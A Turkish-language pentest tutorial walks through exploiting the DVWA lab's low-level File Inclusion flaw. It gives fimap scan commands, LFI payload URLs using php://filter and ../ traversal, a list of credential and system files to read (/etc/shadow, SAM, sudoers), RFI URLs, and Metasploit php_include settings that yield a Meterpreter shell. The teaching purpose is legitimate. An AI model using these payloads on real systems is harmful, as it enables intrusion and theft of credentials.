OWASP DVWA – File Inclusion (Düşük Seviye): Yerel ve Uzak Dosya Dahil Etme Zafiyetinin Fimap Aracı ile Tespiti ve MSF php_include Modülü ile İstismar Edilmesi

0
1744
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, OWASP DVWA (Damn Vulnerable Web App) üzerindeki düşük zorluk seviyesindeki File Inclusion açıklığı tespit edilerek manuel ve otomatik olarak istismar edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Damn Vulnerable Web Application (DVWA) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/

 

Dosya Dahil Etme (File Inclusion) zafiyeti yerel (Local FI / LFI) ve uzak (Remote FI / RFI) olarak ikiye ayrılabilir. Yerel dosya dahil etme zafiyeti barındıran uygulamada, normalde sunulmayan ama işletim sistemde bulunan herhangi bir dosya (uygulama kullanıcısı yetkileri ile) okunabilir. Bunun yanında uzak dosya dahil etme zafiyeti barındıran uygulamada ise farklı bir sunucunun sunduğu bir sayfa zafiyetli uygulama tarafından sunulabilir veya zafiyetli uygulamanın komut satırına erişim sağlanabilir.

 

Not: Bu yazıda kullanılan Fimap aracı yerine aLFI aracı da kullanılabilirdi.

https://www.homelab.it/index.php/2014/08/26/alfi-scanner-an0th3r-lfi-sc4nn3r-v1-0/

 

Not: Benzer zafiyet aşağıdaki metodlarda da bulunmaktadir.

  • include(DosyaAdi)
  • require(DosyaAdi)
  • include_once(DosyaAdi)
  • require_once(DosyaAdi)

 

Örnek zafiyetli kullanımlar aşağıdaki gibi sıralanabilir.

  • include(“dizin/”.$_GET[“sayfa”]);
  • include($_GET[“sayfa”].”.php”);
  • include(basename($_GET[“sayfa”]));
  • include(“dizin/”.basename($_GET[“sayfa”]).”.php”);

 

1) Fimap Aracı ile Zafiyetin Tespiti

Dosya dahil etme zafiyetini içeren uygulama sayfasına erişmek için sol kolondaki “File Inclusion” bağlantısına tıklanabilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php

Not: Zafiyetin mevcudiyetinin tespiti için olmayan bir sayfaya talepte bulunulabilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=OlmayanBirSayfa.php

 

Zafiyetli parametrenin bulunabilmesi için “fimap” aracı kullanılabilir. URL’e erişmek için kimlik doğrulaması gerektiği için çerez bilgisi de eklenmesi gerekmektedir.

fimap -b -u ‘http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php’ –cookie=’security=low; PHPSESSID=r0eb9arb43fcb7viseae6pe5u6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; __gfp_64b=9oh2xd3OTQ_CLy4Ku.14sN_C_PL45AZ_sRYJqhl.Y_j.W’

 

Not: Çerez bilgisi Burp Suite gibi bir araçla elde edilebilir.

Fimap aracının çıktısında dosya dahil etme zafiyetinin bulunduğu tespit edilmiştir.

 

Zafiyete sebep olan “page” parametresi ile varsayılan olarak uygulama sunucusunun web kök dizinindeki “include.php” dosyası sunulmaktadır. Bu dosyanın içeriği aşağıdaki gibidir.

cat include.php

 

 

2) Zafiyetin El İle İstismar Edilmesi

Yeterli kontrolün yapılmaması sebebi ile yerel dosya dahil etme zafiyeti oluşmaktadır. PHP include() fonksiyonu ile bir dosyanın içeriği PHP sunucu tarafından işlenmektedir. Dosyayı işlemeden (çalıştırmadan), dosyanın içeriğini görmek için ve “php://filter/convert.base64-encode” ifadesi kullanılabilir. Böylece bu zafiyetin istismar edilmesi ile işletim sistemindeki bir dosya okunabilmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd

 

Not: Dizin erişimlerinde sıkıntı olması durumunda “../” ile üst dizinlere çıkılarak dosya okunabilir. Eğer URL kodlama ihtiyacı olursa da “..%27” kullanılarak dizine geçiş sağlanabilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd

Önemli olan bazı dosyalar bağlantıdaki ve aşağıdaki gibi sıralanabilir.

  • /etc/issue
  • /proc/version
  • /etc/profile
  • /etc/passwd
  • /etc/shadow
  • /etc/hosts
  • /etc/sudoers
  • /etc/issue
  • /etc/mysql/my.cnf
  • /proc/cmdline
  • /root/.bash_history
  • /var/log/apache2/access.log
  • /var/log/dmessage
  • /var/mail/root
  • /var/spool/cron/crontabs/root
  • /var/www/dvwa/phpinfo.php
  • /var/www/dvwa/config/config.inc.php

 

Windows için önemli olabilecek dosyalar ise aşağıdaki gibidir.

  • %SYSTEMROOT%\\repair\\system
  • %SYSTEMROOT%\\repair\\SAM
  • %SYSTEMROOT%\\repair\\SAM
  • %WINDIR%\\win.ini
  • %SYSTEMDRIVE%\\boot.ini
  • %WINDIR%\\Panther\\sysprep.inf
  • %WINDIR%\\system32\\config\\AppEvent.Evt

 

OSX için önemli olabilecek dosyalar ise aşağıdaki gibidir.

  • /etc/fstab
  • /etc/master.passwd
  • /etc/resolv.conf
  • /etc/sudoers
  • /etc/sysctl.conf

 

Benzer olarak; yeterli kontrolün yapılmaması sebebi ile uzak dosya dahil etme zafiyeti oluşmakta ve bu zafiyetin istismar edilmesi ile başka bir sunucudaki bir dosya bu uygulama üzerinden sunulabilmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=https://www.google.com.tr
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=http://www.google.com.tr
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/resource=http://www.google.com.tr

 

Uzaktan dahil edilen sayfa içerisine “Merhaba Dünya” gibi bir yazı varsa, zafiyetli sayfayı ziyaret eden ziyaretçiler ekranda bu yazı ile karşılaşırlar.

 

3) Zafiyetin MSF php_include Modülü ile İstismar Edilmesi

Uzak dosya dahil etme zafiyetinin istismarı için MSF php_include istismar modülü kullanılabilir.

search php_include
use exploit/unix/webapp/php_include
show options

 

Modül ayarlanır ve istismar işlemi gerçekleştirilir.

set RHOST 10.10.2.156
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX
set HEADERS “Cookie:security=low; PHPSESSID=lthmialb35uiejgrvbl5stksl4”
run
sessions -i 1

 

Not: Oturum ID değeri Burp Suite, Cookie Manager gibi uygulamalar ile elde edilebilir.

 

Elde edilen Meterpreter erişimi kullanılarak uygulama kullanıcısı yetkileri ile işlem gerçekleştirilebilir.

getuid
getpid
shell
id
hostname
ps -ef


İlgili Kaynak Kod:

 

Kaynaklar:

http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-8—File-Inclusion-Low-Level.php
http://csirt.ulakbim.gov.tr/dokumanlar/PHP_RFI_SaldiriEngelleme.pdf
https://pentesterlab.com/exercises/php_include_and_post_exploitation/course
http://kaoticcreations.blogspot.com.tr/2011/08/automated-lfirfi-scanning-exploiting.html

https://www.offensive-security.com/metasploit-unleashed/php-meterpreter/
https://github.com/lucyoa/ctf-wiki/tree/master/web/file-inclusion
http://securityidiots.com/Web-Pentest/LFI

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.